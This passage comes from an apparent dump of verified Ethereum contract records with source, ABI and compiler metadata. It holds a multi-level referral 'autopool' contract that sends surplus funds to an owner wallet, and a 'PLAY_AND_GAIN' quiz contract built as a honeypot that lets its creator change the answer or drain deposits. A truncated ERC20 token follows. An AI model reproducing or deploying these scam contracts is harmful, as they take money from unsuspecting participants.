uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
ownerWallet = 0x68b2e8F9D8A54959CA14a1d96724279a7F5042dA;
LEVEL_PRICE[1] = 0.01 ether;
LEVEL_PRICE[2] = 0.005 ether;
LEVEL_PRICE[3] = 0.0025 ether;
LEVEL_PRICE[4] = 0.00025 ether;
unlimited_level_price=0.00025 ether;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referredUsers:0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1activeUserID=pool1currUserID;
pool1users[msg.sender] = pooluserStruct;
pool1userList[pool1currUserID]=msg.sender;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2activeUserID=pool2currUserID;
pool2users[msg.sender] = pooluserStruct;
pool2userList[pool2currUserID]=msg.sender;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3activeUserID=pool3currUserID;
pool3users[msg.sender] = pooluserStruct;
pool3userList[pool3currUserID]=msg.sender;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4activeUserID=pool4currUserID;
pool4users[msg.sender] = pooluserStruct;
pool4userList[pool4currUserID]=msg.sender;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5activeUserID=pool5currUserID;
pool5users[msg.sender] = pooluserStruct;
pool5userList[pool5currUserID]=msg.sender;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6activeUserID=pool6currUserID;
pool6users[msg.sender] = pooluserStruct;
pool6userList[pool6currUserID]=msg.sender;
pool7currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7activeUserID=pool7currUserID;
pool7users[msg.sender] = pooluserStruct;
pool7userList[pool7currUserID]=msg.sender;
pool8currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8activeUserID=pool8currUserID;
pool8users[msg.sender] = pooluserStruct;
pool8userList[pool8currUserID]=msg.sender;
pool9currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9activeUserID=pool9currUserID;
pool9users[msg.sender] = pooluserStruct;
pool9userList[pool9currUserID]=msg.sender;
pool10currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10activeUserID=pool10currUserID;
pool10users[msg.sender] = pooluserStruct;
pool10userList[pool10currUserID]=msg.sender;
}
function regUser(uint _referrerID) public payable {
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referredUsers:0
});
users[msg.sender] = userStruct;
userList[currUserID]=msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1;
payReferral(1,msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function payReferral(uint _level, address _user) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
uint level_price_local=0;
if(_level>4){
level_price_local=unlimited_level_price;
}
else{
level_price_local=LEVEL_PRICE[_level];
}
sent = address(uint160(referer)).send(level_price_local);
if (sent) {
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
if(_level < 100 && users[referer].referrerID >= 1){
payReferral(_level+1,referer);
}
else
{
sendBalance();
}
}
if(!sent) {
// emit lostMoneyForLevelEvent(referer, msg.sender, _level, now);
payReferral(_level, referer);
}
}
function buyPool1() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool1users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool1_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool1Currentuser=pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[msg.sender] = userStruct;
pool1userList[pool1currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool1Currentuser)).send(pool1_price);
if (sent) {
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received>=2)
{
pool1activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool1Currentuser, 1, now);
}
emit regPoolEntry(msg.sender, 1, now);
}
function buyPool2() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool2users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool2_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=1, "Must need 1 referral");
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price);
if (sent) {
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=3)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
}
function buyPool3() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool3users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool3_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=2, "Must need 2 referral");
PoolUserStruct memory userStruct;
address pool3Currentuser=pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[msg.sender] = userStruct;
pool3userList[pool3currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool3Currentuser)).send(pool3_price);
if (sent) {
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received>=3)
{
pool3activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool3Currentuser, 3, now);
}
emit regPoolEntry(msg.sender,3, now);
}
function buyPool4() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool4users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool4_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=3, "Must need 3 referral");
PoolUserStruct memory userStruct;
address pool4Currentuser=pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4users[msg.sender] = userStruct;
pool4userList[pool4currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool4Currentuser)).send(pool4_price);
if (sent) {
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received>=3)
{
pool4activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool4Currentuser, 4, now);
}
emit regPoolEntry(msg.sender,4, now);
}
function buyPool5() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool5users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool5_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=4, "Must need 4 referral");
PoolUserStruct memory userStruct;
address pool5Currentuser=pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[msg.sender] = userStruct;
pool5userList[pool5currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool5Currentuser)).send(pool5_price);
if (sent) {
pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received>=3)
{
pool5activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool5Currentuser, 5, now);
}
emit regPoolEntry(msg.sender,5, now);
}
function buyPool6() public payable {
require(!pool6users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool6_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=5, "Must need 5 referral");
PoolUserStruct memory userStruct;
address pool6Currentuser=pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[msg.sender] = userStruct;
pool6userList[pool6currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool6Currentuser)).send(pool6_price);
if (sent) {
pool6users[pool6Currentuser].payment_received+=1;
if(pool6users[pool6Currentuser].payment_received>=3)
{
pool6activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool6Currentuser, 6, now);
}
emit regPoolEntry(msg.sender,6, now);
}
function buyPool7() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool7users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool7_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=6, "Must need 6 referral");
PoolUserStruct memory userStruct;
address pool7Currentuser=pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7users[msg.sender] = userStruct;
pool7userList[pool7currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool7Currentuser)).send(pool7_price);
if (sent) {
pool7users[pool7Currentuser].payment_received+=1;
if(pool7users[pool7Currentuser].payment_received>=3)
{
pool7activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool7Currentuser, 7, now);
}
emit regPoolEntry(msg.sender,7, now);
}
function buyPool8() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool8users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool8_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=7, "Must need 7 referral");
PoolUserStruct memory userStruct;
address pool8Currentuser=pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8users[msg.sender] = userStruct;
pool8userList[pool8currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool8Currentuser)).send(pool8_price);
if (sent) {
pool8users[pool8Currentuser].payment_received+=1;
if(pool8users[pool8Currentuser].payment_received>=3)
{
pool8activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool8Currentuser, 8, now);
}
emit regPoolEntry(msg.sender,8, now);
}
function buyPool9() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool9users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool9_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=8, "Must need 8 referral");
PoolUserStruct memory userStruct;
address pool9Currentuser=pool9userList[pool9activeUserID];
pool9currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9users[msg.sender] = userStruct;
pool9userList[pool9currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool9Currentuser)).send(pool9_price);
if (sent) {
pool9users[pool9Currentuser].payment_received+=1;
if(pool9users[pool9Currentuser].payment_received>=3)
{
pool9activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool9Currentuser, 9, now);
}
emit regPoolEntry(msg.sender,9, now);
}
function buyPool10() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool10users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool10_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=9, "Must need 9 referral");
PoolUserStruct memory userStruct;
address pool10Currentuser=pool10userList[pool10activeUserID];
pool10currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10users[msg.sender] = userStruct;
pool10userList[pool10currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool10Currentuser)).send(pool10_price);
if (sent) {
pool10users[pool10Currentuser].payment_received+=1;
if(pool10users[pool10Currentuser].payment_received>=3)
{
pool10activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool10Currentuser, 10, now);
}
emit regPoolEntry(msg.sender, 10, now);
}
function getEthBalance() public view returns(uint) {
return address(this).balance;
}
function sendBalance() private
{
if (!address(uint160(ownerWallet)).send(getEthBalance()))
{
}
}
} | [{"constant":false,"inputs":[],"name":"buyPool1","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"pool5currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool5users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool3userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool1userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool8userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool1activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool1users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool4","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"pool5activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool9currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool4userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool2activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool7","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool9userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool1currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool4activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool9users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool2","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"pool7currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool10currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool6users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool8","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"getEthBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool3users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"LEVEL_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"unlimited_level_price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool2userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool8activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool4users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool6userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"requests","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"referrerID","type":"uint256"},{"internalType":"uint256","name":"referredUsers","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool2users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool8currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool7users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool9activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_referrerID","type":"uint256"}],"name":"regUser","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"ownerWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool7activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool10activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool4currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool8users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool9","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"referrerID","type":"uint256"},{"internalType":"uint256","name":"referredUsers","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool6","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"pool2currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool3","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"pool3currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool5userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool7userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pool10userList","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool3activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool10","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"pool6currUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pool10users","outputs":[{"internalType":"bool","name":"isExist","type":"bool"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"payment_received","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"buyPool5","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"pool6activeUserID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_user","type":"address"},{"indexed":true,"internalType":"address","name":"_referrer","type":"address"},{"indexed":false,"internalType":"uint256","name":"_time","type":"uint256"}],"name":"regLevelEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_user","type":"address"},{"indexed":true,"internalType":"address","name":"_referral","type":"address"},{"indexed":false,"internalType":"uint256","name":"_level","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_time","type":"uint256"}],"name":"getMoneyForLevelEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_user","type":"address"},{"indexed":false,"internalType":"uint256","name":"_level","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_time","type":"uint256"}],"name":"regPoolEntry","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_user","type":"address"},{"indexed":true,"internalType":"address","name":"_receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"_level","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_time","type":"uint256"}],"name":"getPoolPayment","type":"event"}] | v0.5.11+commit.c082d0b4 | true | 200 | Default | None | false | bzzr://4696c1683039f3a7a0414cbaac8cc04aae5e81d14fbbaa621b7eef2f60dcc393 |
|||
PLAY_AND_GAIN | PLAY_AND_GAIN.sol | 0xed710216da4b1416a78768790ca9aa3633ca110f | Solidity | pragma solidity ^0.4.20;
contract PLAY_AND_GAIN
{
string public question;
address questionSender;
bytes32 responseHash;
function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}
function() public payable{}
} | [{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.4.20+commit.3155dd80 | true | 200 | Default | false | bzzr://507d60b2b914ea3a19e580c8df6000bea25987b9c97d819679d8539a6abca7b1 |
||||
ymca | ymca.sol | 0x67070733c301e614bf50645dd8f6cdab7ec348e2 | Solidity | pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'YMCA' token contract
//
// Deployed to : 0x85A4b4994f1983fB0edA5eE6D5eFE3Bf5D250345
// Symbol : ymca
// Name : Yearn Mutant Crypto Assets
// Total supply: 100000000
// Decimals : 8
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
